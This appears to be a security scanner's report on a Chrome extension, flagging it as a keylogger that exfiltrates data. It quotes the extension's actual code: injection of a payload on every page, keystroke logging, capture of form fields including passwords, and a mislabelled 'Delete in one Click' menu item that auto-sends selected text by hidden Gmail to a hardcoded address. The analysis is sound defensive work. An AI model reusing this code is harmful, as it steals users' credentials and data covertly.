Security Alert: Critical Security Risk
Keylogging and Send Data
ID: dnkoojdpknekhelendplnakmggonipnp
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- justfortestingjftView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
A keylogger, saves form ids,saves all keylogs and you can select text and by clicking can share data via gmail.
It store keylogs, all keys pressed on which websites ,remove words from web page like (jeans, shoe, cream and coronavirus) ,you can delete keylogs by selecting date. This extension can be used as a parental control. You can also select text on any web page and on click by selecting options from contextmenu by selecting delete in one click, we can share selected text via mail(sender id would be logged in id by default and receiver's id given in code of extension by default)
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://mail.google.com/*
On every completed page load across all URLs, the extension injects the full keylogger payload (`payload.js`) into the page. This is unconditional — it fires on banking sites, password manager UIs, healthcare portals, and any other sensitive context the user visits. There is no allowlist or user opt-in.
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) { if (changeInfo.status === 'complete') { chrome.scripting.executeScript({ target: { tabId: tabId }, files: ['js/inject/payload.js'], }, () => chrome.runtime.lastError); }});The payload captures every alphanumeric keypress on every website and persists it to `chrome.storage.local` keyed by timestamp, URL, and page title. This records passwords, credit card numbers, search queries, and any other text the user types anywhere. The stored format (`title^~^url^~^keystrokes`) is trivially parseable for credential extraction.
document.addEventListener('keypress', function(e) { e = e || window.event; var charCode = typeof e.which == "number" ? e.which : e.keyCode; if (charCode) { log(String.fromCharCode(charCode)); }});// ...var time = new Date().getTime();var data = {};data[time] = document.title + "^~^" + document.URL + "^~^";function log(input) { var now = new Date().getTime(); if (now - lastLog < 10) return; data[time] += input; shouldSave = true; lastLog = now;}function save() { if (shouldSave) { chrome.storage.local.set(data, function() {}); }}When `formsaver` is enabled, the extension intercepts every form submission on every website and records the complete set of field names and values — including password fields — to local storage. Login forms, payment forms, and any other credential-bearing form are fully captured with no site restriction.
chrome.storage.sync.get({ formsaver: false}, function(settings) { if (settings.formsaver) { var forms = document.getElementsByTagName("form"); for (var i = 0; i < forms.length; i++) { forms[i].addEventListener("submit", function(e) { var data = {}; data["FormName"] = e.target.name; data["FormAction"] = e.target.action; data["FormElements"] = {}; var elements = e.target.elements; for (var n = 0; n < elements.length; n++) { data["FormElements"][elements[n].name] = elements[n].value; } saveForm(e.timeStamp, data); }); } }});The recipient email is hardcoded as `[email protected]` — a different entity from the publisher (`[email protected]`). When the user right-clicks and selects 'Delete in one Click', the extension silently opens a hidden Gmail compose tab pre-filled with the current page URL and selected text addressed to this hardcoded third party, then programmatically clicks the Send button (Gmail DOM element `:oy`) without any user review or confirmation. This is covert data exfiltration to an unrelated third party disguised as a local delete action.
chrome.storage.sync.get("mailTo", function(storage) { mailToAddress = "[email protected]"})chrome.contextMenus.onClicked.addListener(function(data) { if (data.menuItemId == "emailMe") { chrome.tabs.query({ currentWindow: true, active: true }, function(tabs) { var emailAddress = mailToAddress var title = tabs[0].title var url = tabs[0].url var body = `Emailed from ${url} ${data.selectionText || ''}` var gmailUrl = `https://mail.google.com/mail/?view=cm&fs=1&tf=1&to=${emailAddress}&su=${title}&body=${body}` chrome.tabs.create({ url: gmailUrl, active: false }, function(tab) { var gmailTab = tab.id chrome.tabs.onUpdated.addListener(function(tabId, info) { if (tabId === gmailTab) { function code() { if (document.getElementById(':oy')) { var Send = document.getElementById(':oy') Send.click() } } chrome.scripting.executeScript({ target: { tabId: tabId }, func: code }); } }) }) }) }})The context menu entry is labelled 'Delete in one Click' but its actual function — as implemented in the `onClicked` handler — is to email the selected text and page URL to a hardcoded third-party address. This deliberate mislabelling is a social-engineering technique to trick users into exfiltrating their own data.
chrome.runtime.onInstalled.addListener(() => { chrome.contextMenus.create({ "id": "emailMe", "title": "Delete in one Click", "contexts": ["selection", "page"] });});By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0 | 5 |
Files with findings
3 distinct paths — top paths by unique finding count:
- background.js2
- js/inject/payload.js2
- js/inject/inject.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.